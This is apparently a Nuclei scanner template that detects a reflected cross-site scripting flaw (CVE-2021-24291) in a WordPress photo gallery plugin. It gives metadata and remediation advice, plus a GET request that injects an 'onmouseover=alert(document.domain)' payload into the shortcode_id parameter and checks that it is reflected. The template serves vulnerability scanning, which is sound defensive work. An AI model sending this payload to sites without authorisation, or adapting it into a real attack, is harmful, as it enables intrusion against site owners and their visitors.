id: CVE-2021-24291

info:
  name: WordPress Photo Gallery by 10Web <1.5.69 - Cross-Site Scripting
  author: geeknik
  severity: medium
  description: |
    WordPress Photo Gallery by 10Web plugin before 1.5.69 contains multiple reflected cross-site scripting vulnerabilities via the gallery_id, tag, album_id and theme_id GET parameters passed to the bwg_frontend_data AJAX action, available to both unauthenticated and authenticated users.
  remediation: |
    Update WordPress Photo Gallery by 10Web to version 1.5.69 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/cfb982b2-8b6d-4345-b3ab-3d2b130b873a
    - https://packetstormsecurity.com/files/162227/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24291
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24291
    cwe-id: CWE-79
    epss-score: 0.00085
    epss-percentile: 0.35633
    cpe: cpe:2.3:a:10web:photo_gallery:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: 10web
    product: photo_gallery
    framework: wordpress
  tags: photo,wpscan,packetstorm,cve,cve2021,xss,wordpress,wp-plugin

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=bwg_frontend_data&shortcode_id=1"%20onmouseover=alert(document.domain)//'

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        words:
          - "onmouseover=alert(document.domain)//"
          - "wp-content/uploads/photo-gallery"
        condition: and

      - type: status
        status:
          - 200

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